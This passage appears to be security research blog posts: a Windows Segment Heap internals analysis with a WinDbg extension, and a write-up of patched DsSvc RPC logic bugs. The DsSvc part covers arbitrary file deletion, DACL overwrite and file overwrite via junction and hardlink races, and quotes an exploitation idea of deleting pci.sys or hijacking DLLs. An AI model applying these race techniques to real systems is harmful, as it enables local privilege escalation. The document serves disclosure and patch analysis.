SvcSetStorageSettings[////////__imp_SetNamedSecurityInfoW<--?CreateStorageCardDirectory@StorageService@@IEAAJW4_STORAGE_DEVICE_TYPE@@KPEBGKPEAU_SECURITY_ATTRIBUTES@@PEAU_ACL@@H@Z<--?ProvisionStorageCardForUser@StorageService@@IEAAJW4_STORAGE_DEVICE_TYPE@@KPEAG1KPEAU_SECURITY_ATTRIBUTES@@PEAU_ACL@@@Z<--?SetWriteAccess@StorageService@@IEAAJW4_STORAGE_DEVICE_TYPE@@KK@Z<--?SetStorageSettings@StorageService@@QEAAJW4_STORAGE_DEVICE_TYPE@@KW4_STORAGE_SETTING@@K@Z<--SvcSetStorageSettings]

SvcSetStorageSettings[////////__imp_CopyFileW<--?ProvisionStorageCardForUser@StorageService@@IEAAJW4_STORAGE_DEVICE_TYPE@@KPEAG1KPEAU_SECURITY_ATTRIBUTES@@PEAU_ACL@@@Z<--?SetWriteAccess@StorageService@@IEAAJW4_STORAGE_DEVICE_TYPE@@KK@Z<--?SetStorageSettings@StorageService@@QEAAJW4_STORAGE_DEVICE_TYPE@@KW4_STORAGE_SETTING@@K@Z<--SvcSetStorageSettings]

Time Line

Feb 2019 : Vulnerabilities Reported
Feb 2019 : Microsoft reproduced
May 2019 : Patch released
May 2019 : Bounty awarded

Reference

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-0983

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0983

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0998

https://github.com/k0keoyo/ksRPC_analysis_script

https://github.com/k0keoyo/my_vulnerabilities/tree/master/CVE-2019-0983

https://github.com/k0keoyo/my_vulnerabilities/tree/master/CVE-2019-0998

Segment Heap的简单分析和Windbg Extension

10 July 2020 at 01:56

Author: k0shl of 360 Vulcan Team

简述

微软在Windows 10启用了一种新的堆管理机制Low Fragmentation Heap(LFH),在常规的环三应用进程中,Windows使用Nt Heap,而在特定进程,例如lsass.exe,svchost.exe等系统进程中,Windows采用Segment Heap,关于Nt Heap,可以参考Angel boy在WCTF赛后的分享Windows 10 Nt Heap Exploitation,而Segment Heap可以参考MarkYason在16年Blackhat上的议题Windows 10 Segment Heap Internals

在Yason的议题中对于Segment Heap的分析已经足够详细,NT Heap和Segment Heap的结构差异较大,我在这篇文章中只对Segment Heap在Windows ntdll中的代码逻辑实现进行简单分析,以及我针对Segment Heap编写的windbg extension简单介绍。

Segment Heap的创建

Windows在系统进程中使用Segment Heap,部分应用也使用了Segment heap,比如Edge,如果想调试自己的程序,可以在注册表中添加相应键值开启Segment Heap。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\(executable)
FrontEndHeapDebugOptions = (DWORD)0x08

通过windbg !heap命令可以看到当前进程的堆布局。

2: kd> !process 1f0 0
Searching for Process with Cid == 1f0
PROCESS ffffcf026f1cc0c0
    SessionId: 0  Cid: 01f0    Peb: 1803b03000  ParentCid: 01e8
    DirBase: 01850002  ObjectTable: ffffbd0dfbaea080  HandleCount: 574.
    Image: csrss.exe

2: kd> .process /i /p ffffcf026f1cc0c0
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
2: kd> g
0: kd> .reload /user
Loading User Symbols
....................
0: kd> !heap
        Heap Address      NT/Segment Heap

         14bff720000         Segment Heap
        7df42cce0000              NT Heap

关于Segment Heap和Nt Heap通过其头部结构的Signature成员变量区分,Signature保存在Heap Header+0x10位置,当Signature为0xDDEEDDEE时,该堆为Segment Heap,而当Signature为0xFFEEFFEE时,该堆为Nt Heap。

0: kd> dq 14bff720000 l3//Segment Heap
0000014b`ff720000  00000000`01000000 00000000`00000000
0000014b`ff720010  00000000`ddeeddee
0: kd> dq 7df42cce0000 l3//Nt Heap
00007df4`2cce0000  00000000`00000000 01009ba1`00f60fd8
00007df4`2cce0010  00000001`ffeeffee

当进程初始化时,进程会调用RtlInitializeHeapManager函数创建堆管理结构,内层函数调用RtlpHpOptIntoSegmentHeap决定是否创建SegmentHeap,在RtlpHpOptIntoSegmentHeap函数中会检查进程明程等内容,当属于指定系统进程或者Package时,会设置对应的Feature,最后创建Segement Heap设置_SEGMENT_HEAP->Signature值为0xDDEEDDEE。

__int64 __fastcall RtlpHpOptIntoSegmentHeap(unsigned __int16 *a1)
{
  v1 = a1;
  v16 = L"svchost.exe"; //----->指定的系统进程
  v2 = 0;
  v17 = L"runtimebroker.exe";//----->指定的系统进程
  v18 = L"csrss.exe";//----->指定的系统进程
  v19 = L"smss.exe";//----->指定的系统进程
  v20 = L"services.exe";//----->指定的系统进程
  v21 = L"lsass.exe";//----->指定的系统进程
  ...
}

//调用路径
LdrpInitializeProcess
        |__RtlInitializeHeapManager
                    |__RtlpHpOptIntoSegmentHeap
                    
//最终在RtlpHpHeapCreate函数中将+0x10 Signature值置为0xDDEEDDEE
__int64 __fastcall RtlpHpHeapCreate(unsigned __int32 a1, unsigned __int64 a2, __int64 a3, __m128i *a4)
{
    v9 = (__m128i *)RtlpHpHeapAllocate(v6, v7, (__m128i *)&v36);
    v9[1].m128i_i32[0] = 0xDDEEDDEE;//mov     dword ptr [rax+10h], 0DDEEDDEEh
}

因此我在编写segment heap的windbg extension时,通过查看的Bucket Block地址找到Segment Heap Header之后通过查看对应Signature是否为0xDDEEDDEE用于确认查找的地址是否是一个有效的Bucket地址。

Segment Heap LFH

Allocate

接下来对Segment Heap的分配和释放进行简单分析,首先我们需要了解_SEGMENT_HEAP中的一个关键结构_HEAP_LFH_CONTEXT,其成员在偏移0x340位置,在_HEAP_LFH_CONTEXT结构偏移0x80位置存放着一个Bucket Table,其结构关系如下。

0: kd> dt _SEGMENT_HEAP LfhContext
ntdll!_SEGMENT_HEAP
   +0x340 LfhContext : _HEAP_LFH_CONTEXT
0: kd> dt _HEAP_LFH_CONTEXT Buckets
ntdll!_HEAP_LFH_CONTEXT
   +0x080 Buckets : [129] Ptr64 _HEAP_LFH_BUCKET

在BucketTable中存放不同Size的Bucket Manager pointer,其实LFH并非在最开始就处于待分配状态,在堆最开始分配的时候是通过正常的Variable Size分配,关于vs heap的分配可以参考Yason的slide,当进程申请堆时会调用ntdll!RtlAllocateHeap,在分配时会检查Signature是否是SegmentHeap。

__int64 __fastcall RtlAllocateHeap(_SEGMENT_HEAP *a1, unsigned int a2, __int64 a3)
{
  if ( !a1 )
    RtlpLogHeapFailure(19i64, 0i64);
  if ( a1->Signature == 0xDDEEDDEE )
    return RtlpHpAllocWithExceptionProtection((__int64)a1, a3, a2);
  if ( RtlpHpHeapFeatures & 2 )
    return RtlpHpTagAllocateHeap((__int64)a1, a3, a2);
  return RtlpAllocateHeapInternal(a1, a3, a2, 0i64);
}

若Signature值为0xDDEEDDEE时,会调用RtlpHpAllocWithExceptionProtection创建segment heap block,在最开始的时候,会检查Bucket Table中lfh是否已经激活,也就是第一比特是否为1,当第一比特为1时,当前Bucket处于未激活lfh的情况,会创建vs heap,我们暂不讨论vs heap的申请。

3: kd> dq 116abf90000+340+80//Bucket Table
00000116`abf903c0  00000000`00000001 00000000`00000001
00000116`abf903d0  00000000`026e0001 00000116`abf90900//已经激活LFH索引的指针
00000116`abf903e0  00000000`01ee0001 00000000`030f0001//未激活的索引
00000116`abf903f0  00000000`04100001 00000000`00820001
00000116`abf90400  00000000`01280001 00000000`00e30001
00000116`abf90410  00000000`00210001 00000000`00410001

Segment Heap的分配实现在RtlpAllocateHeapInternal函数中,由于代码逻辑较长但并不复杂,我这里只标明与我本文相关的逻辑部分,具体逻辑需要感兴趣的读者自行逆向。

__int64 __fastcall RtlpAllocateHeapInternal(_SEGMENT_HEAP *HeapBase, unsigned __int64 InSize, __int64 a3, __int64 a4)
{
……
    if ( InSize <= (unsigned int)WORD2(HeapBase->LfhContext.Buckets[0x13]) - 0x10 )//--->(0)
    {
          if(!(BucketTable[SizeIndex] & 1){//--->(1)
               RtlpHpLfhSlotAllocate()         
          }
          else if(Allocate enough blocks){ //--->(2)
               RtlpHpLfhBucketActivate()
          }
          else{
               do something//--->(3)  
          }

    }
    if ( InSize > 0x20000 )
    {
          RtlpHpLargeAlloc()//--->(4)
    }
    else{
          RtlpHpVsContextAllocateInternal()//--->(5)
    }
……
}

接下来我会就代码中的逻辑进行简要说明。

(0) 分配时首先判断申请堆的大小是否小于等于0x4000-0x10,也就是0x3ff0,若大于0x4000且小于等于0x20000,则直接使用Variable Size Heap Allocate,如果大于0x20000则使用Large Heap Allocate。
(1) 若申请堆大小小于等于0x3ff0,则会在Bucket Table中找到分配大小对应Size的索引,之后判断其是否已经激活LFH(第一比特是否为1),当LFH已经激活时,if语句判断返回TRUE,直接调用RtlpHpLfhSlotAllocate申请Block。
(2) 否则检查当前申请的堆大小的已申请数量是否已经满足激活LFH所需的数量,若满足,则调用RtlpHpLfhBucketActivate函数激活Bucket,此时Bucket Table对应位置会被Bucket Header赋值。
(3) 如果分配数量还不满足则进行一些Flag的赋值后跳出if语句。
(4) 当申请堆大小大于0x20000时,则调用RtlpHpLargeAlloc申请Large Heap。
(5) 当满足(0)条件或者在(3)中没有达到激活LFH条件时,调用RtlpHpVsContextAllocateInternal申请VS Heap,也就是说(5)不一定只满足大于0x4000小于等于0x20000的情况,小于等于0x4000时也有可能会走VS Heap,这取决于已分配Block的数量。

这里我们不讨论VS Heap和Large Heap,只讨论LFH Heap的情况。当LFH被激活时,RtlpHpLfhBucketActivate会创建一个Bucket Manager,并且将这个Manager指针放到Bucket Table对应Size Index的位置,我们要研究申请堆的Block的分配需要从这个Bucket Manager入手。

Block的申请在RtlpHpLfhSlotAllocate()函数中,关于这个函数代码逻辑比较复杂,我将从Bucket Manager入手结合关键的代码逻辑和大家分享LFH Block的分配过程。由于调试过程比较复杂,这里我不再贴出调试步骤记录占用篇幅,感兴趣的读者可以在RtlpHpLfhSlotAllocate单步跟踪加以印证。

Bucket Manager是一个名为_HEAP_LFH_BUCKET的结构,其成员变量包含一个重要结构_HEAP_LFH_AFFINITY_SLOT,该结构中包含的重要成员变量结构为_HEAP_LFH_SUBSEGMENT_OWNER,关于结构关系如下(重要结构我用*表示)。

1: kd> dt _HEAP_LFH_BUCKET 116`abf90b00
ntdll!_HEAP_LFH_BUCKET
   +0x000 State            : _HEAP_LFH_SUBSEGMENT_OWNER
   +0x038 TotalBlockCount  : 0x5b7
   +0x040 TotalSubsegmentCount : 0x10
   +0x048 ReciprocalBlockSize : 0x3333334
   +0x04c Shift            : 0x20 ' '
   +0x04d ContentionCount  : 0 ''
   +0x050 AffinityMappingLock : 0
   +0x058 ProcAffinityMapping : 0x00000116`abf90b80  ""
   * +0x060 AffinitySlots    : 0x00000116`abf90b88  -> 0x00000116`abf90bc0 _HEAP_LFH_AFFINITY_SLOT

1: kd> dt _HEAP_LFH_AFFINITY_SLOT 116`abf90bc0
ntdll!_HEAP_LFH_AFFINITY_SLOT
   * +0x000 State            : _HEAP_LFH_SUBSEGMENT_OWNER
   +0x038 ActiveSubsegment : _HEAP_LFH_FAST_REF
   
1: kd> dt _HEAP_LFH_SUBSEGMENT_OWNER 116`abf90bc0
ntdll!_HEAP_LFH_SUBSEGMENT_OWNER
   +0x000 IsBucket         : 0y0
   +0x000 Spare0           : 0y0000000 (0)
   * +0x001 BucketIndex      : 0x5 ''
   +0x002 SlotCount        : 0 ''
   +0x002 SlotIndex        : 0 ''
   +0x003 Spare1           : 0 ''
   * +0x008 AvailableSubsegmentCount : 1
   +0x010 Lock             : 0
   * +0x018 AvailableSubsegmentList : _LIST_ENTRY [ 0x00000116`ac5d4000 - 0x00000116`ac5d4000 ]
   * +0x028 FullSubsegmentList : _LIST_ENTRY [ 0x00000116`ac0f7000 - 0x00000116`ac5d0000 ]

LHF的Bucket是通过双向链表的方法管理,AvailableSubsegmentList是存在Free状态的Block的Bucket链表,FullSubsegmentList是已经满了的Bucket的链表,这两个链表存放的就是各个Bucket的Bucket Header,当LFH分配Block时,会检查Bucket Manager中AvailableSubsegementCount的值,若其值小于等于0,则继续判断AvailableSubsegementList,在AvailableSubsegmentList中没有可用的Bucket header时,其值指向自己。

1: kd> dq 116`abf90bc0//_HEAP_LFH_SUBSEGMENT_OWNER结构
00000116`abf90bc0  00000000`00000500 00000000`00000001//有可用的Bucket
00000116`abf90bd0  00000000`00000000 00000116`ac5d4000//AvailableSubsegmentList
00000116`abf90be0  00000116`ac5d4000 00000116`ac0f7000//FullSubsegmentList
00000116`abf90bf0  00000116`ac5d0000 00000000`00000000

3: kd> dq 116`abf908c0//_HEAP_LFH_SUBSEGMENT_OWNER结构
00000116`abf908c0  00000000`00000c00 00000000`00000000//可用的Count为0
00000116`abf908d0  00000000`00000000 00000116`abf908d8//AvailableSubsegmentList指向本身
00000116`abf908e0  00000116`abf908d8 00000116`abf908e8//FullSubsegmentList指向本身
00000116`abf908f0  00000116`abf908e8 00000000`00000000

v10 = &a3->State.AvailableSubsegmentCount;
if ( a3->State.AvailableSubsegmentCount <= 0 )//当Count小于0
{
……
    v121 = (__int64 **)&a2->State.AvailableSubsegmentList;
    if ( *v121 == (__int64 *)v121//链表指针指向本身
        || ((RtlAcquireSRWLockExclusive(&a2->State.Lock), *v121 == (__int64 *)v121) ? (_RSI = 0i64) : (_RSI = RtlpHpLfhOwnerMoveSubsegment((__int64)a2, *v121, 2)),
            RtlReleaseSRWLockExclusive(&a2->State.Lock),
            !_RSI) )
    {
        _RSI = (__int64 *)RtlpHpLfhSubsegmentCreate(a1, a2, a5);
        if ( !_RSI )
          goto LABEL_52;
    }
……
}

如果满足上述条件,则当前没有可用的Bucket,LFH调用RtlpHpLfhSubsegmentCreate创建一个新的Bucket,在RtlpHpLfhSubsegmentCreate函数中,我们可以看到实际上在_HEAP_LFH_SUBSEGMENT_OWNER中的BucketIndex成员变量用于在ntdll的一个全局变量RtlpBucketBlockSizes中获取这个Bucket Manager所管理的Bucket中Block的Size,也就是我们申请堆的Size。

  v3 = a2->State.BucketIndex;
  v4 = RtlpHpLfhPerfFlags;
  v10 = a3;
  v8 = (unsigned __int16)RtlpBucketBlockSizes[v3];
  v33 = (unsigned __int16)RtlpBucketBlockSizes[v3];
  
1: kd> dq ntdll!RtlpBucketBlockSizes
00007ffc`5cbe1270  00300020`00100000 00700060`00500040//Block Size
00007ffc`5cbe1280  00b000a0`00900080 00f000e0`00d000c0
00007ffc`5cbe1290  01300120`01100100 01700160`01500140
00007ffc`5cbe12a0  01b001a0`01900180 01f001e0`01d001c0
00007ffc`5cbe12b0  02300220`02100200 02700260`02500240
00007ffc`5cbe12c0  02b002a0`02900280 02f002e0`02d002c0

在RtlpHpLfhSubsegmentCreate函数最终会分配出一个Bucket,将Bucket Header赋值给AvailableSubsegementList,同时这个函数中会按照RtlpBucketBlockSizes对应BlockIndex的地址,返回Size,最终切割好Block。

一旦存在可用的Bucket,则来到分配的最后一步,实际上理解分配最后一步非常简单,在Bucket创建时,所有可用的堆已经被切割好,LFH会随机取一块Block,并且将这个Block的地址返回,这个地址就是我们申请堆的地址,这一步全部依靠Bucket Header完成。

在Segment Heap LFH中,堆不再具有头部,取而代之的是通过Bucket Header来管理Bucket中的所有Block。Bucket Header结构体叫做_HEAP_LFH_SUBSEGMENT

1: kd> dt _HEAP_LFH_SUBSEGMENT 116`ac0f7000 FreeCount, BlockCount, BlockBitmap
ntdll!_HEAP_LFH_SUBSEGMENT
   +0x020 FreeCount   : 0
   +0x022 BlockCount  : 0x32
   +0x030 BlockBitmap : [1] 0x55555555`55555555
   
1: kd> dq 116`ac0f7000
00000116`ac0f7000  00000116`ac1f9000 00000116`abf90be8//List_Entry
00000116`ac0f7010  00000116`abf90bc0 00000000`00000000
00000116`ac0f7020  0001002c`00320000 0040010c`60b53c07
00000116`ac0f7030  55555555`55555555 fffffff5`55555555
00000116`ac0f7040  00000000`00000001 00000000`00000000

在Bucket Header中,Bitmap中存放的是这个Bucket中所有Block的状态,关于这个状态在Yason的slide中有相关介绍,这里我就不赘述了,值得一提的是,当你申请堆的大小恰好和RtlpBucketBlockSizes中存放的大小相等时,Bitmap的01代表已分配状态,00代表空闲状态,而当你申请的大小与RtlpBucketBlockSizes中存放大小不等时,则Bucket依然会按照RtlpBucketBlockSizes中存放的大小切割,但11代表已分配状态,10代表空闲状态,比方说我申请0xc10大小,但实际Block大小会按照0xC80切割,同时bitmap中高位会置1,这一切都取决于Bucket的索引在RtlpBucketBlockSizes数组中对应位置存放的Size。

分配时,会在bitmap中找到随机一个空闲状态的Block并返回,同时会将bitmap中对应位置置成分配状态(低位置1),并且FreeCount减1,当FreeCount减到0时,证明Bucket全部分配满,LFH会将该Bucket从AvailableSubsegmentList链表中unlink,并插入FullSubsegmentList中。

同理释放时,会将bitmap对应的位置置成空闲状态,FreeCount加1,若当前Bucket在FullSubsegmentList中,则会从该链表unlink,并加入到AvailableSubsegmentList中。

最后,关于创建Bucket的时候到底分配多少Block,这个并不是固定的,而是根据_HEAP_LFH_BUCKET中的TotalSubsegmentCount以及申请堆的大小决定的,其函数实现在RtlpGetSubSegmentBlockCount中。

__int64 __fastcall RtlpGetSubSegmentBlockCount(unsigned int HeapSize, unsigned int TotalSubSegmentCount, char AlwaysZero, int IsFirstBucket)
{
  v5 = AlwaysZero - 1;
  if ( HeapSize >= 0x100 )
    v5 = AlwaysZero;
  v6 = v5 - 1;
  if ( !IsFirstBucket )//如果是这个Size的第一个Bucket
    v6 = v5;
  if ( TotalSubSegmentCount < 1 << (3 - v6) )
    TotalSubSegmentCount = 1 << (3 - v6);
  if ( TotalSubSegmentCount < 4 )
    TotalSubSegmentCount = 4;
  if ( TotalSubSegmentCount > 0x400 )
    TotalSubSegmentCount = 0x400;
  return TotalSubSegmentCount;
}

随着该Size分配的堆数量的增加,最终一个Bucket中创建的Blocks也会增加。

在我的Windbg Extension中,由于Bucket Header都是按页对齐,因此通过查询的堆地址直接与0xff..f000做与运算后就可以找到页头部,假设该头部是Bucket Header时,其_HEAP_LFH_SUBSEGMENT的_HEAP_LFH_SUBSEGMENT_OWNER成员变量指向Bucket Manager,之后可以找到整个Segment Heap的头部,通过Signature就可以判断Bucket Header是否是有效的Bucket Header,如果不是,则将当前页头部-0x1000,继续按页查找,因为当前分配的Block可能不止一页。

之后根据Bucket Header的Bucket Index可以在全局变量RtlpBucketBlockSizes数组中找到当前Bucket的Size,通过bitmap可以打印最终的Bucket布局。

1: kd> !heapinfo 116`ac0f7060
Try to find Bucket Manager.
Bucket Header:  0x00000116ac0f7000
Bucket Flink:   0x00000116ac1f9000
Bucket Blink:   0x00000116abf90be8
Bucket Manager: 0x00000116abf90bc0
---------------------Bucket Info---------------------
Free Heap Count:  0
Total Heap Count: 50
Block Size:       0x50
--Index-- | -----Heap Address----- | --Size-- | --State--
0000      | *0x00000116ac0f7050    | 0x0050   | Busy
--------- | ---------------------- | -------- | ---------
0001      | 0x00000116ac0f70a0     | 0x0050   | Busy
--------- | ---------------------- | -------- | ---------
0002      | 0x00000116ac0f70f0     | 0x0050   | Busy
--------- | ---------------------- | -------- | ---------
0003      | 0x00000116ac0f7140     | 0x0050   | Busy
--------- | ---------------------- | -------- | ---------
0004      | 0x00000116ac0f7190     | 0x0050   | Busy
--------- | ---------------------- | -------- | ---------
0005      | 0x00000116ac0f71e0     | 0x0050   | Busy
--------- | ---------------------- | -------- | ---------
0006      | 0x00000116ac0f7230     | 0x0050   | Busy
--------- | ---------------------- | -------- | ---------
0007      | 0x00000116ac0f7280     | 0x0050   | Busy
--------- | ---------------------- | -------- | ---------

引用

MarkYason, "Windows 10 Segment Heap Internals"

My Project: SegmentHeapExt

A simple story of DsSvc, "Live and Die"

22 November 2019 at 02:51

Author: k0shl of 360 Vulcan Team

Overview

DsSvc is a data sharing service that provides data sharing between processes. I have not conducted an in-depth analysis of the specific functions of this service. It is known that it provides some methods of file sharing between processes. As shown in the following figure, the process specifies a shared file through DsSvc, and calls CoCreateGuid to create a GUID as a file token, and stores information such as its token and file path into DbTable. Other processes can obtain file objects through this token and perform other files operating.

1.PNG

Data sharing services contain many file operations, which also bring a lot of security issues. Microsoft spent nearly a year to fix the logical issue in this service. The security issue caused by file operations is one of the types of logical vulnerability. Important partitions, it's necessary to be careful when dealing with files' operation, especially for file security attributes. I will analyze the logical vulnerabilities in DsSvc, as well as Microsoft's patch, and bypass. Let's start our story.

The Beginning of story...

In November 2018, Microsoft patched a data sharing service vulnerability discovered by SandboxEscaper (PolarBear). SandboxEscaper shared details about this vulnerability on the blog. Since this article on the SandboxEscaper's blog is inaccessible, it is not possible to reference the SandboxEscaper blog address. A description of vulnerability is as follows:

Bug description:
RpcDSSMoveFromSharedFile(handle,L"token",L"c:\\blah1\\pci.sys");
This function exposed over alpc, has a arbitrary delete vuln. 
Hitting the timing was pretty annoying. But my PoC will keep rerunning until c:\windows\system32\drivers\pci.sys is deleted.
I believe it’s impossible to hit the timing on a single core VM. I was able to trigger it using 4 cores on my VM. (Sadly I wasn’t able to use OPLOCKS with this particular bug)
Root cause is basically just a delete without impersonation because of an early revert to self. Should be straight forward to fix it… 
Exploitation wise.. you either try to trigger dll hijacking issues in  3rd party software.. or delete temp files used by a system service in c:\windows\temp and hijack them and hopefully do some evil stuff.

This is an arbitrary file deletion vulnerability. The vulnerability occurs in the RPC interface RpcDSSMoveFromSharedFile. The issue existed in function PolicyChecker::CheckFilePermission. The code is as follows:

__int64 __fastcall PolicyChecker::CheckFilePermission(const WCHAR *FileName, unsigned int a2, unsigned int a3, int a4, __int64 a5)
{
  [...CreateFile flag check...]
  [...Impersonate...]
  v12 = CreateFileW(v5, dwDesiredAccess, dwShareMode, 0i64, 4u, 0x80u, 0i64);
  [...RevertToSelf...]
  if ( v12 == (void *)-1i64 )
  {
    [...]
  }
  else
  {
    v17 = v14;
    if ( !a5 || (v8 = DSUtils::GetFinalPathFromHandle(v12, a5), (v8 & 0x80000000) == 0) )
    {
      CloseHandle(v12);//Close
      v12 = (void *)-1i64;
      if ( v17 )
        return v8;
      DeleteFileW(v5);//arbitrary file deletion
    }
    if ( v13 != (void *)-1i64 )
      CloseHandle(v13);
  }
  return v8;
}

In this function, FileName is defined by the user. First, the parameters DesiredAccess and ShareMode will be checked. Then RpcImpersonateClient will be called to impersonate client and call CreateFile to open the file. DsSvc will delete the file after RevertToSelf.

Although DsSvc calls ImpersonateClient to open the file, which means that when I try to open a limit file, it will fail and return, but there is still have TOCTOU issue. Before calling CeateFile, you can create a junction to the user-controllable path, so CreateFile will succeed. After that, you can change the junction to a limit directory. It will invoke DeleteFile to delete limit file finally.

In the patch, Microsoft no longer uses DeleteFile but uses the FileDispositionInfo class of SetFileInformationByHandle to delete file. Thus, calling SetFileInformationByHandle refers to the file handle created by CreateFile instead of the file path. The final deletion is a normal file opened after ImpersonateClient.

else
  {
    v17 = v14;
    if ( !a5 || (v8 = DSUtils::GetFinalPathFromHandle(v13, a5), v8 >= 0) )
    {
      if ( !v17 )
      {
        FileInformation = 1;
        if ( !SetFileInformationByHandle(v13, FileDispositionInfo, &FileInformation, 1u) )
        {
          [...]
        }
      }
    }
    CloseHandle(v13);

My research has started...

After this vulnerability was exposed, I started my study on the logic vulnerability. One day, when I was chatting with my friend 0x9k, he talked about the complete full chain of 11 Android logical vulnerabilities used by MWRLab in Pwn2Own. Then I read MWRLab's slide about this full chain exploitation which they talked on CanSecWest.

There is a show in this slide about the tool jandroid that they use when finding android logic vulnerabilities.

2.PNG

After read about jandroid in slide, I came up with the idea that such this method can be used to finding logical vulnerabilities on Windows? The answer is yes.

I think I can assist the subsequent reverse engineering by parsing the path travesal of the sensitive operation on the RPC-related dll. I took some time to implement my idea. (Later in August 2019 Adam Chester published a blog post about his RPC parsing implementation idea)

I used James Forshaw's project NtApiDotNet when writing the parsing code. It can complete pre-working in my parsing framework, there is a class called NdrProcedureDefinition in NtApiDotNet, which plays a key role in RPC interface parsing, it can parse out of the RPC interface of the DCE syntax, I made a few modifications to the NdrProcedureDefinition part of the method, so that it can parse the RPC interface of the Ndr64 syntax, which may resolve more potential attack surfaces in the x64 system. (The figure below shows the analysis result of Chakra.dll which use Ndr64 syntax)

3.PNG

Here are two points to mention.
[+] The first is that almost all RPC dlls in Windows x64 systems use DCE syntax, but also contain a very small number of RPC dlls for Ndr64 syntax, such as Chakra.dll.
[+] And the second is that I am not find the way to parsing incoming parameter of RPC interface of Ndr64 syntax, so I can only parse the RPC interface function without parameters, but this does not affect sensitive operation path travesal parsing.

The following picture shows the logs of some of the path travesals after I run my parsing code. Actually, I found out some interesting path travesals in DsSvc after that time, but James Forshaw report most of them :).

4.PNG

Get down to business

In January 2019, Microsoft patched 5 DsSvc EoP Vulnerabilities reported by James Forshaw , there is a interesting patch in these 5 vulnerabilities which about the MoveFileInheritSecurity function, the vulnerability code is as follows:

__int64 __fastcall PolicyChecker::MoveFileInheritSecurity(const WCHAR *lpNewFileName, const WCHAR *lpExistingFileName)
{
  [...]
  if ( MoveFileExW(lpNewFileName, lpExistingFileName, 3u) )
  {
    if ( !InitializeAcl(&pAcl, 8u, 2u) )
    {
LABEL_4:
      v6 = GetLastError();
      goto LABEL_10;
    }
    v6 = SetNamedSecurityInfoW(lpExistingFileName, SE_FILE_OBJECT, 0x20000004u, 0i64, 0i64, &pAcl, 0i64);
    if ( v6 )
      MoveFileExW(lpExistingFileName, lpNewFileName, 3u);
  }
  [...]
}

As the code show, DsSvc will set the DACL of the new file through SetNamedSecurityInfoW after the MoveFile. James forshaw create a hardlink to a limit file, and call RpcDSSMoveFromSharedFile interface, the DsSvc get the file path directly, but not check if the file is accessible, it will finally set the limit file's DACL.

Before patch:

__int64 __fastcall DSUtils::VerifyPathRoundTrip(wchar_t *Str2, wchar_t *a2)
{
  [...]
    v3 = CreateFileW(Str2, 0x80000000, 7u, 0i64, 4u, 0x80u, 0i64);
  if ( v3 != (HANDLE)-1i64 )
  {
    v2 = v3;
LABEL_6:
    v5 = DSUtils::VerifyPathFromHandle(v1, v2);
    goto LABEL_7;
  }
  [...]
}

After patch:

__int64 __fastcall DSUtils::VerifyPathRoundTrip(wchar_t *Str2, wchar_t *a2)
{
  [...]
  v5 = CreateFileW(Str2, 0x80000000, 7u, 0i64, 4u, 0x80u, 0i64);
  if ( v5 != (HANDLE)-1i64 )
  {
    v4 = v5;
LABEL_6:
    v7 = DSUtils::VerifyPathFromHandle(v3, v4);
    if ( v7 >= 0 )
      v7 = DSUtils::VerifyFileIdFromHandle(v2, v4);
    goto LABEL_8;
  }
  [...]
}

After patch, function DSUtils::VerifyFileIdFromHandle is added. The function contains a check for the hardlink. The BY_HANDLE_FILE_INFORMATION structure returned by calling the GetFileInformationByHandle function contains the member variable nNumberOfLinks. If it is greater than 1, it indicates that there is a symbolic link, and function will fail and return.

__int64 __fastcall DSUtils::GetFileIdFromHandle(HANDLE hFile, __int64 a2)
{
  [...]
  if ( GetFileInformationByHandle(v3, &FileInformation) )
    goto LABEL_19;
  [...]
LABEL_19:
  if ( FileInformation.nNumberOfLinks <= 1 )
  {
    v11 = (_WORD *)*v2;
    v2[1] = *v2;
    *v11 = 0;
  }
  [...]
}

The story is far from ending...

Obviously, Microsoft's patch still have problem. I found that there is still a time window between the end of the check of the symbolic link and the call to the MoveFileInheritSecurity function, which means that there is a TOCTOU vulnerability, I can make a hardlink to limit file after the symbolink check, so that when DsSvc calls the MoveFileInheritSecurity function, it will set the limit file's DACL finally. I later reported this vulnerability to Microsoft.

Microsoft's patch is very simple, they canceled RpcDSSMoveFromSharedFile and RpcDSSMoveToSharedFile two RPC interfaces of DsSvc in Windows 10 rs6 and later.

///After parse DsSvc RPC interface you can find out that 
///RpcDSSMoveFromSharedFile and RpcDSSMoveToSharedFile are canceled

[uuid("bf4dc912-e52f-4904-8ebe-9317c1bdd497"), version(1.0)]
interface intf_bf4dc912_e52f_4904_8ebe_9317c1bdd497 {
    HRESULT RpcDSSCreateSharedFileToken( handle_t p0,  [In] wchar_t[1]* p1,  [In] struct Struct_0* p2,  [In] /* ENUM16 */ int p3,  [In] /* ENUM16 */ int p4,  [Out] wchar_t** p5);
    HRESULT RpcDSSGetSharedFileName( handle_t p0,  [In] wchar_t[1]* p1,  [Out] wchar_t** p2);
    HRESULT RpcDSSGetSharingTokenInformation( handle_t p0,  [In] wchar_t[1]* p1,  [Out] wchar_t** p2,  [Out] wchar_t** p3,  [Out] /* ENUM16 */ int* p4);
    HRESULT RpcDSSDelegateSharingToken( handle_t p0,  [In] wchar_t[1]* p1,  [In] struct Struct_1* p2);
    HRESULT RpcDSSRemoveSharingToken( handle_t p0,  [In] wchar_t[1]* p1);
    HRESULT RpcDSSOpenSharedFile( handle_t p0,  [In] wchar_t[1]* p1,  [In] int p2,  [Out] long* p3);
    HRESULT RpcDSSCopyFromSharedFile( handle_t p0,  [In] wchar_t[1]* p1,  [In] wchar_t[1]* p2);
    HRESULT RpcDSSRemoveExpiredTokens();
}

The old version still exists these two interfaces. In the old version, Microsoft's patch is also very simple. The PolicyChecker::MoveFileInheritSecurity function is directly deleted, and DsSvc use another method for file copy. I will share this method later.

Other attack surfaces

In my RPC parsing log, I noticed another RPC interface, DSSCopyFromSharedFile, which calls the CopyFile function to copy file to a controllable path.

__int64 __fastcall DSSCopyFromSharedFile(const unsigned __int16 *a1, wchar_t *a2)
{
  [...Check File...]
  if ( !CopyFileW(*(LPCWSTR *)(v10 + 184), v4, 0) )
  {
    [...]
  }
  [...]
}

This vulnerability is very obvious, although DsSvc checked the permissions of the copied target file before CopyFile, I can still use race condition to link the file to the limit file after checking the target file permissions, and finally copy the shared file to limit file. In this function, the shared file can be specified by the user, so it is easy to write the payload into the file under system32.

